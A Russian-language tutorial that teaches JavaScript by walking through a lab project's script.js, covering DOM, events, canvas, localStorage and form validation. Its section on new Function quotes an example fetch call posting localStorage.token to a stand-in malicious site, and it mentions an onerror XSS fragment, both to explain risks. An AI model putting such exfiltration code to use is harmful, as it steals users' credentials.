# Гайд по JavaScript на примере этого проекта

Этот гайд объясняет синтаксис JS и то, как работает именно `script.js` из Лабораторной №1.
Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.

---

## 0. Как вообще всё запускается

В `index.html` в самом конце есть строка:

```html
<script src="script.js"></script>
```

Это значит:

1. Браузер читает HTML сверху вниз и строит **DOM** — дерево объектов из твоих тегов.
2. Доходит до `<script>` в конце `<body>` — все теги уже существуют.
3. Загружает `script.js` и **выполняет его сверху вниз**, как список инструкций.

Именно поэтому скрипт подключён в конце, а не в `<head>`: код в первой строке
`document.getElementById('graphCanvas')` сразу ищет `<canvas>`, и тег обязан
уже быть в DOM. Если бы `<script>` стоял в `<head>`, то `canvas` был бы `null`
и всё упало бы на второй строке.

**Где смотреть ошибки:** F12 → вкладка Console. Там же можно писать JS руками —
например, напечатай `history` и увидишь текущий массив истории.

---

## 1. Переменные: `const`, `let`, (и `var` — не используй)

```js
const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
let history = [];                                       // можно переприсвоить
```

| Ключевое слово | Переприсвоение | Где живёт |
|---|---|---|
| `const` | ❌ запрещено | внутри `{ }`, где объявлена |
| `let` | ✅ разрешено | внутри `{ }`, где объявлена |
| `var` | ✅ разрешено | во всей функции (устаревшее, путает) |

Важный нюанс, который многих ломает: `const` запрещает **переприсвоить саму
переменную**, но не запрещает менять содержимое объекта или массива.

```js
const arr = [];
arr.push(1);     // ✅ можно — массив тот же, просто внутри стало больше
arr = [1, 2];    // ❌ ошибка — пытаемся подсунуть другой массив
```

В проекте `history` объявлена через `let`, потому что при очистке её **заменяют
целиком**:

```js
history = [];   // строка 51 — вот из-за этого нужен let
```

> ⚠️ Кстати, `history` — неудачное имя: в браузере уже есть глобальный
> `window.history` (кнопки «назад/вперёд»). Здесь локальная переменная его
> перекрывает. Работает, но в своём коде лучше назвать `records` или `hits`.

---

## 2. Типы данных

В JS всего несколько базовых типов, с которыми ты тут встретишься:

```js
const num  = 2.5;          // number — одно число на все случаи (целые и дробные)
const str  = 'Попадание';  // string — строка
const bool = true;         // boolean — true / false
const nothing = null;      // «осознанно пусто»
let notSet;                // undefined — «значение не задано»
```

Два особых значения, которые встречаются в коде:

- `NaN` («Not a Number») — результат неудачной математики. `Number('абв')` даёт `NaN`.
  Проверяется только функцией `isNaN(x)`, потому что `NaN === NaN` — это `false`.
- `null` vs `undefined`: `getElementById` вернёт `null`, если элемента нет.
  `undefined` — если переменную объявили, но не присвоили.

### Массив

Упорядоченный список. Нумерация с нуля.

```js
const validR = [1, 2, 3, 4, 5];
validR[0];          // 1
validR.length;      // 5
validR.includes(3); // true  — «есть ли такой элемент?»
```

`includes` в проекте используется для проверки допустимых значений:

```js
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
```

### Объект

Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:

```js
const rec = {
    x: 1,
    y: 2.5,
    r: 3,
    hit: true,
    time: '20 октября 2026 г., 14:30:00'
};

rec.x;        // 1          — доступ через точку
rec['x'];     // 1          — то же самое, если имя ключа в переменной
rec.hit = false;            // изменение
```

---

## 3. Операторы и сравнения

```js
x + y        // сложение (для строк — склейка: 'a' + 'b' === 'ab')
x * x        // умножение
x / 2        // деление
x ** 2       // возведение в степень
```

### `===` против `==`

**Всегда используй `===`.** Он сравнивает и значение, и тип.

```js
'2' == 2    // true  — == тайно приводит типы, это источник багов
'2' === 2   // false — разные типы, честный ответ
2 === 2     // true
```

`!==` — «не равно» в строгом виде. В проекте: `rec.y !== 81`.

### Логика

```js
a && b     // И   — оба true
a || b     // ИЛИ — хотя бы один true
!a         // НЕ  — переворачивает
```

Пример из `validateY` — проверка, что Y вне диапазона и это не пасхалка:

```js
if ((y < -3 || y > 5) && y !== 81) { ... }
```

Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81».
Скобки обязательны, иначе приоритет операторов даст другой смысл.

### Truthy / falsy

`if` принимает не только `true`/`false`, а любое значение и превращает его в
логическое. **Falsy** (считаются «ложью»): `false`, `0`, `''`, `null`,
`undefined`, `NaN`. Всё остальное — truthy.

```js
if (!currentR) { ... }          // строка 109: «если R не выбран»
```

Работает потому, что `currentR` изначально `null`. Но осторожно: `0` тоже falsy.
Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 —
код бы ошибочно считал его «не выбранным». Правильнее было бы
`if (currentR === null)`.

### Тернарный оператор

Короткая запись `if/else`, которая **возвращает значение**:

```js
условие ? значение_если_да : значение_если_нет
```

Из `drawGraph`:

```js
const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';
```

---

## 4. Функции

Три записи, все три есть в проекте.

### Обычное объявление

```js
function checkHit(x, y, r) {
    return true;
}
```

`x, y, r` — параметры. `return` отдаёт результат и **немедленно выходит** из
функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где
они объявлены. Поэтому в проекте `drawGraph()` вызывается на строке 54, хотя
объявлена она на 352-й — и это работает.

### Параметр по умолчанию

```js
function validateY(showErrors = false) { ... }
```

Если вызвать `validateY()` — внутри `showErrors` будет `false`.
Если `validateY(true)` — будет `true`.

Это ключевая идея валидации в проекте: **одна и та же функция** и молча проверяет
форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.

### Стрелочная функция

```js
() => { ... }                 // без аргументов
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
btn => btn.value              // один аргумент — скобки можно опустить
```

Короткая форма без `{ }` возвращает результат выражения автоматически.
Эти две записи идентичны:

```js
(a, b) => a + b
(a, b) => { return a + b; }
```

Стрелочные функции в проекте используются там, где функция передаётся
куда-то как аргумент — в обработчики событий и в `forEach`.

---

## 5. Поиск элементов и работа с DOM

```js
document.getElementById('y-input')          // ОДИН элемент по id, или null
document.querySelectorAll('.r-button')      // ВСЕ по CSS-селектору
document.querySelectorAll('input[name="xval"]')  // все чекбоксы X
```

`querySelectorAll` принимает любой CSS-селектор и возвращает `NodeList` —
похож на массив, можно перебирать `forEach` и брать `.length`.

### Чтение и запись

```js
yInput.value                  // что пользователь ввёл (всегда СТРОКА!)
cb.checked                    // true/false для чекбокса
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
tr.innerHTML = '<td>1</td>'   // HTML внутри элемента (парсится как разметка)
submitBtn.disabled = true     // отключить кнопку
btn.getAttribute('data-val')  // прочитать любой атрибут, тоже строка
```

**Главная ловушка:** `input.value` — это всегда строка, даже у `type="number"`.
Поэтому в коде везде стоит преобразование:

```js
const y = parseFloat(yInput.value.trim().replace(',', '.'));
```

Разбираем цепочку справа налево по порядку вызовов:

1. `.value` → `" 2,5 "` (строка как есть)
2. `.trim()` → `"2,5"` (убрали пробелы по краям)
3. `.replace(',', '.')` → `"2.5"` (русская запятая → точка, JS понимает только точку)
4. `parseFloat(...)` → `2.5` (число)

Это **цепочка методов**: каждый возвращает новое значение, у которого сразу
вызывается следующий метод.

### `parseFloat` vs `Number`

```js
Number('2.5abc')      // NaN         — строгий, вся строка должна быть числом
parseFloat('2.5abc')  // 2.5         — читает с начала, пока получается
Number('')            // 0 (!)       — коварно
```

В `validateY` стоит `Number`, потому что там нужна строгость: «буквы
недопустимы». А после успешной валидации уже можно `parseFloat` — значение
проверено.

### Классы и стили

```js
btn.classList.add('active');     // добавить CSS-класс
btn.classList.remove('active');  // убрать
```

CSS в `index.html` уже описывает, как выглядит `.r-button.active` (серый фон,
белый текст). JS только переключает класс — **внешний вид остаётся в CSS**.
Это правильный подход: не трогать стили из JS напрямую.

---

## 6. Циклы и перебор

### `forEach` — основной инструмент проекта

```js
rButtons.forEach(btn => {
    // здесь btn — каждая кнопка по очереди
});
```

`forEach` принимает функцию и вызывает её для каждого элемента. Ничего не
возвращает — используется ради побочных действий (навесить обработчик,
нарисовать точку, положить запись в массив).

### `filter` — отбор

```js
history = rawData.filter(rec => {
    if (typeof rec !== 'object') return false;  // выбросить
    return true;                                 // оставить
});
```

Возвращает **новый массив** только из тех элементов, для которых функция вернула
truthy. Исходный массив не меняется.

### Обычный `for` — когда нужны индексы

В `drawGraph` рисование пользовательской функции идёт попиксельно, и нужны
именно номера пикселей:

```js
for (let py = 0; py < height; py++) {
    for (let px = 0; px < width; px++) {
        // ...
    }
}
```

Три части: `let py = 0` — старт; `py < height` — условие продолжения;
`py++` — шаг (`py++` это то же, что `py = py + 1`).

Вложенный цикл = `300 × 300 = 90 000` итераций на каждую перерисовку.

### Spread `...` — копия массива

```js
[...history].reverse()
```

`reverse()` переворачивает массив **на месте**, портя оригинал. `[...history]`
сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица
показывает новые записи сверху, а сам `history` остаётся в порядке добавления —
что важно, потому что именно в этом порядке он уходит в `localStorage`.

---

## 7. События — как код реагирует на пользователя

Весь интерактив строится на одной конструкции:

```js
элемент.addEventListener('событие', функция);
```

«Когда на этом элементе случится такое событие — вызови эту функцию».

Какие события используются в проекте:

| Событие | Где | Когда срабатывает |
|---|---|---|
| `DOMContentLoaded` | `window`, стр. 47 | HTML разобран, DOM готов |
| `click` | кнопки R, «Отрисовать», «Очистить» | нажатие |
| `change` | чекбоксы X | галочка поставлена/снята |
| `input` | поля Y и функции | каждый введённый символ |
| `submit` | `<form>` | отправка формы |

### Разбор обработчика кнопок R (строки 62–74)

```js
rButtons.forEach(btn => {
    btn.addEventListener('click', () => {
        rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
        btn.classList.add('active');                          // выделить нажатую
        rHidden.value = btn.getAttribute('data-val');          // записать в скрытое поле
        currentR = parseFloat(rHidden.value);                  // и в переменную как число
        if (formSubmitted) rError.textContent = '';            // стереть старую ошибку
        validateForm();
        drawGraph();
    });
});
```

Здесь два уровня вложенности, и это стоит понять:

- Внешний `forEach` выполняется **один раз при загрузке** и навешивает
  обработчик на каждую из 5 кнопок.
- Внутренняя стрелочная функция выполняется **позже, при каждом клике**.

Внутренняя функция «помнит» переменную `btn` своей кнопки, хотя внешний цикл
давно закончился. Это называется **замыкание** (closure) — функция сохраняет
доступ к переменным того места, где была создана. Работает это потому, что `btn`
объявлена через `let`/параметр: у каждой итерации своя копия. С `var` все пять
обработчиков ссылались бы на одну переменную и ломались — классический баг.

### `submit` и `preventDefault`

```js
form.addEventListener('submit', (e) => {
    e.preventDefault();
    // ...
});
```

`e` — объект события, браузер передаёт его автоматически.
`e.preventDefault()` отменяет стандартное поведение: по умолчанию форма
перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки
приложение не работало бы вообще.

---

## 8. `try / catch` — работа с тем, что может сломаться

```js
try {
    const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
    // ...
} catch (e) {
    history = [];
}
```

Логика: «попробуй выполнить блок `try`; если внутри произойдёт ошибка — не
падай, а перейди в `catch`». `e` — объект ошибки, у него есть `e.message`
с текстом.

Ошибку можно создать самому:

```js
throw new Error('Недопустимые символы в функции');
```

`throw` прерывает функцию и «выбрасывает» ошибку наружу, где её поймает
ближайший `catch`. Так устроен `parseFunction`: он не возвращает код ошибки,
а бросает исключение, а вызывающий код решает, что делать:

```js
try {
    customFunction = parseFunction(funcStr);
    funcError.textContent = '';
    drawGraph();
} catch (e) {
    funcError.textContent = e.message;  // показать текст пользователю
    customFunction = null;
}
```

---

## 9. `localStorage` — сохранение между перезагрузками

Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы.
**Хранит только строки.**

```js
localStorage.setItem('key', 'строка');
localStorage.getItem('key');     // строка или null, если ключа нет
localStorage.removeItem('key');
```

Чтобы положить массив объектов, его сериализуют в JSON:

```js
localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект
```

`JSON.parse` **бросает ошибку** на испорченной строке — поэтому он обёрнут
в `try/catch`.

### Почему данные перепроверяются

```js
history = rawData.filter(rec => {
    if (typeof rec !== 'object' || rec === null) return false;
    if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
    // ...
});
```

`localStorage` открыт пользователю: любой может зайти в DevTools и записать
туда что угодно. Данные оттуда — **недоверенный ввод**, ровно как данные с
сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются.
Это правильная привычка, не паранойя.

Здесь же проявляется `typeof`:

```js
typeof 5          // 'number'
typeof 'текст'    // 'string'
typeof {}         // 'object'
typeof null       // 'object'  ← историческая ошибка языка!
```

Из-за последней строки проверка написана как
`typeof rec !== 'object' || rec === null` — одного `typeof` не хватает.

---

## 10. Canvas — рисование графика

`<canvas>` — холст пикселей. Из JS берётся «контекст» — объект с командами
рисования:

```js
const ctx = canvas.getContext('2d');
```

### Система координат

Начало координат canvas — **левый верхний угол**, ось Y направлена **вниз**.
Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:

```js
const center = width / 2;                        // 150 — центр холста
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях
```

Деление на `rec.r` нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при
R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.

### Основные команды

```js
ctx.clearRect(0, 0, width, height);        // стереть всё
ctx.fillStyle = '#3399FF';                 // цвет заливки
ctx.fillRect(x, y, ширина, высота);        // залитый прямоугольник

ctx.beginPath();                            // начать новый контур
ctx.moveTo(x, y);                           // перенести «перо» без линии
ctx.lineTo(x, y);                           // линия до точки
ctx.arc(x, y, радиус, отУгла, доУгла);      // дуга, углы в РАДИАНАХ
ctx.closePath();                            // замкнуть контур
ctx.fill();                                 // залить
ctx.strokeStyle = '#000';                   // цвет линии
ctx.stroke();                               // обвести

ctx.font = '12px Arial';
ctx.fillText('R', x, y);                    // текст
```

Ключевая идея: `beginPath()` → набор `moveTo`/`lineTo`/`arc` → `fill()` или
`stroke()`. Без `beginPath()` новые линии дорисуются к старому контуру и зальются
вместе с ним — очень частый баг.

Четверть круга:

```js
ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);
```

Углы в радианах: `-Math.PI / 2` = −90° (верх), `0` = 0° (право). Вместе с
`moveTo(center, center)` и `closePath()` получается сектор, а не просто дуга.

### Попиксельная отрисовка пользовательской функции

Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми
командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код
проверяет **каждый пиксель отдельно**:

```js
const imageData = ctx.createImageData(width, height);
const data = imageData.data;   // плоский массив длиной width*height*4

for (let py = 0; py < height; py++) {
    for (let px = 0; px < width; px++) {
        const x = ((px - center) / R_PIXELS) * currentR;  // пиксель → математика
        const y = ((center - py) / R_PIXELS) * currentR;

        const hit = checkHit(x, y, currentR);

        const index = (py * width + px) * 4;  // позиция пикселя в плоском массиве
        if (hit) {
            data[index]     = 51;   // R
            data[index + 1] = 153;  // G
            data[index + 2] = 255;  // B
            data[index + 3] = 255;  // Alpha (прозрачность)
        } else {
            data[index] = 255; data[index + 1] = 255;
            data[index + 2] = 255; data[index + 3] = 255;
        }
    }
}
ctx.putImageData(imageData, 0, 0);  // вывести на холст одним разом
```

`data` — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA).
Формула `(py * width + px) * 4` переводит двумерные координаты в плоский индекс:
«пропустить `py` полных строк, потом `px` пикселей, умножить на 4 байта».

---

## 11. `new Function` — и почему это опасно

```js
const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);
```

Это создание функции **из строки во время работы программы**. Первые аргументы —
имена параметров, последний — тело.

Здесь же используется **шаблонная строка** — обратные кавычки `` ` ``
с подстановкой `${выражение}`:

```js
const name = 'мир';
`Привет, ${name}!`     // 'Привет, мир!'
```

В `renderHistory` тем же приёмом собирается строка HTML на несколько строк —
обычные кавычки так не умеют.

### В чём опасность

`new Function` исполняет произвольный код — как `eval`. Строка
`fetch('http://злой.сайт', {method:'POST', body: localStorage.token})` была бы
выполнена браузером. В проекте перед этим стоит защита:

```js
const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
if (!allowedChars.test(normalized)) {
    throw new Error('Недопустимые символы в функции');
}
```

Это **регулярное выражение** (regex) — шаблон для проверки строк:

- `/.../` — границы регулярки
- `^` — начало строки, `$` — конец (значит, проверяется строка целиком)
- `[...]` — набор разрешённых символов
- `\d` — любая цифра, `\s` — пробел
- `+` — «один или больше таких символов»
- `\-`, `\*`, `\/` — экранирование: символы со спецсмыслом помечаются `\`
- `.test(строка)` → `true` / `false`

Перед этим идёт нормализация — человеческая запись переводится в JS:

```js
const normalized = funcStr.trim()
    .replace(/abs\(/g, 'Math.abs(')   // abs( → Math.abs(
    .replace(/sin\(/g, 'Math.sin(')
    .replace(/\^/g, '**');            // ^ → ** (степень в JS)
```

Флаг `g` (global) в `/abs\(/g` означает «заменить все вхождения», а не только
первое.

Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла
сразу, а не при отрисовке:

```js
func(0, 0, 1, 1);
return (x, y, r) => func(x, y, r, r);  // обёртка: r и R — одно и то же
```

Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать
`customFunction(x, y, r)` тремя аргументами, а внутри `r` подставляется дважды,
чтобы работали оба написания — и `r`, и `R`.

> ⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный —
> набор `[xyrRMathabsincoqrt]` разрешает любые комбинации этих букв.
> Для лабораторной работы, которая крутится только в твоём браузере, это
> нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен
> настоящий парсер математических выражений.

---

## 12. Как устроена вся логика проекта

### Глобальное состояние

Четыре переменные держат всё, что программа «знает» о текущем моменте:

```js
let history = [];            // массив всех проверок
let currentR = null;         // выбранный R, null пока не выбран
let formSubmitted = false;   // была ли хоть одна отправка
let customFunction = null;   // активная пользовательская функция
```

`formSubmitted` решает тонкую задачу UX: ошибки нельзя показывать пользователю,
который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после
первой отправки ошибки уже показаны, и их надо гасить при правке поля:

```js
yInput.addEventListener('input', () => {
    if (formSubmitted) yError.textContent = '';
    validateForm();
});
```

### Валидация: один набор правил, два режима

```
validateForm(showErrors)
    ├── validateY(showErrors)         → Y заполнен, число, в диапазоне
    ├── validateFunction(showErrors)  → функция парсится (пустая = ок)
    ├── проверка R                     → выбран и из списка [1..5]
    ├── проверка X                     → хотя бы один и все из списка
    └── submitBtn.disabled = !isValid
```

Вызывается в двух режимах:

- `validateForm()` — после каждого действия. Молча включает/выключает кнопку.
- `validateForm(true)` — при отправке. Пишет текст ошибок в `<span class="error">`.

Паттерн «накопления» флага внутри:

```js
let isValid = true;
if (!validateY(showErrors)) isValid = false;
if (!validateFunction(showErrors)) isValid = false;
```

Так проверяются **все** поля и показываются **все** ошибки сразу. Если бы вместо
этого стоял `return false` на первой же ошибке, пользователь видел бы их по
одной — хуже.

Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом
«допустимо ли значение». Второе — защита от подмены: `data-val` и `value`
в HTML можно отредактировать через DevTools, поэтому значения сверяются с
белым списком в JS.

### Проверка попадания

```js
function checkHit(x, y, r) {
    if (customFunction) { /* пользовательская функция вместо фигур */ }

    if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r);  // I: четверть круга
    if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
    if (x <= 0 && y <= 0) return false;                 // III: пусто
    if (x >= 0 && y <= 0) return y >= (x/2) - (r/2);    // IV: треугольник
    return false;
}
```

Здесь важен **порядок**: `return` выходит сразу, поэтому `if` работают как
`else if`. Точка (0, 0) попадает в первое же условие и дальше не идёт —
границы четвертей не конфликтуют именно из-за раннего выхода.

Треугольник: прямая через `(r, 0)` и `(0, -r/2)` имеет уравнение
`y = x/2 - r/2`. Точка внутри, если она **выше** этой прямой: `y >= x/2 - r/2`.

Одна и та же `checkHit` используется и для таблицы, и для попиксельной
отрисовки. Поэтому график **всегда совпадает** с результатами — нет двух
независимых реализаций, которые могли бы разойтись. Это главная архитектурная
идея проекта: правило живёт в одном месте.

### Полный поток при отправке формы

```
1. e.preventDefault()               — не перезагружать страницу
2. formSubmitted = true
3. validateForm(true)               — не прошло → выход
4. y === 81?                        — пасхалка: показать картинку, выход
5. parseFunction(funcStr)           — обновить customFunction
6. new Date().toLocaleString(...)   — метка времени, одна на всю отправку
7. по каждому отмеченному X:
       checkHit(x, y, r) → history.push({x, y, r, hit, time})
8. localStorage.setItem(...)        — сохранить
9. renderHistory()                  — перерисовать таблицу
10. drawGraph()                     — перерисовать график
```

Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может
создать до девяти записей сразу, по одной на каждый отмеченный X.

### Дата и время

```js
new Date().toLocaleString("ru-RU", {
    timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    year: 'numeric', month: 'long', day: 'numeric',
    hour: '2-digit', minute: '2-digit', second: '2-digit'
});
```

`new Date()` — текущий момент. `toLocaleString` форматирует его по правилам
локали: `"ru-RU"` даёт «20 октября 2026 г.», а не «10/20/2026».
`Intl.DateTimeFormat().resolvedOptions().timeZone` достаёт часовой пояс
пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.

### Рендер таблицы

```js
function renderHistory() {
    resultsBody.innerHTML = '';                 // стереть всё
    [...history].reverse().forEach(rec => {
        const tr = document.createElement('tr'); // создать <tr>
        tr.innerHTML = `
            <td>${rec.x}</td>
            ...
        `;
        resultsBody.appendChild(tr);             // вставить в DOM
    });
}
```

Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это
абсолютно нормально и гораздо понятнее, чем точечные обновления.

> ⚠️ `innerHTML` с подстановкой данных — потенциальная XSS-уязвимость: если бы
> в `rec.x` попала строка `<img onerror=...>`, браузер её исполнил бы. Здесь
> безопасно, потому что все поля прошли фильтр и гарантированно числа.
> Для текстовых данных нужен `textContent`, который ничего не парсит.

---

## 13. Что попробовать прямо сейчас

Открой страницу, нажми F12 → Console и поэкспериментируй:

```js
history                           // текущий массив проверок
history.length                    // сколько записей
currentR                          // выбранный R
checkHit(1, 1, 3)                 // проверить точку руками
checkHit(0, 0, 1)                 // граница — попадает?

currentR = 5; drawGraph();        // поменять R «мимо» кнопок
localStorage.getItem('web_lab1_history')   // что лежит в хранилище

document.querySelectorAll('.r-button').length   // 5
document.getElementById('y-input').value = '2'  // вписать Y из консоли
```

Полезные упражнения для понимания:

1. Закомментируй `e.preventDefault()` в обработчике `submit` — посмотри, что
   страница перезагружается и всё состояние теряется.
2. Поменяй `if (formSubmitted)` на `if (true)` в обработчике `input` поля Y —
   увидишь, зачем нужен этот флаг.
3. Введи в поле функции `x^2 + y^2 < R^2` и нажми «Отрисовать» — увидишь
   попиксельную отрисовку круга.
4. Запиши в `localStorage` мусор через DevTools (`Application → Local Storage`)
   и перезагрузи — фильтр должен его отбросить, а страница не упасть.

---

## 14. Шпаргалка

```js
// Переменные
const x = 1;  let y = 2;

// Условия
if (a === b) { } else if (c) { } else { }
const r = cond ? 'да' : 'нет';

// Функции
function f(a, b = 0) { return a + b; }
const g = (a) => a * 2;

// Массивы
arr.push(x);  arr.length;  arr.includes(x);
arr.forEach(el => { });  arr.filter(el => cond);  [...arr];

// Объекты
const o = { key: 'val' };  o.key;  o.key = 'new';

// DOM
document.getElementById('id');
document.querySelectorAll('.class');
el.value;  el.checked;  el.textContent;  el.innerHTML;
el.classList.add('x');  el.classList.remove('x');
el.addEventListener('click', () => { });

// Строки → числа
parseFloat('2.5');  Number('2.5');  isNaN(x);
str.trim();  str.replace(',', '.');

// Ошибки
try { } catch (e) { e.message }
throw new Error('текст');

// Хранилище
localStorage.setItem(k, JSON.stringify(v));
JSON.parse(localStorage.getItem(k));

// Шаблонные строки
`значение: ${x}`
```

---

## Ссылки

- [MDN JavaScript (рус.)](https://developer.mozilla.org/ru/docs/Web/JavaScript) — официальная документация
- [learn.javascript.ru](https://learn.javascript.ru/) — лучший учебник на русском
- [MDN Canvas API](https://developer.mozilla.org/ru/docs/Web/API/Canvas_API/Tutorial) — про рисование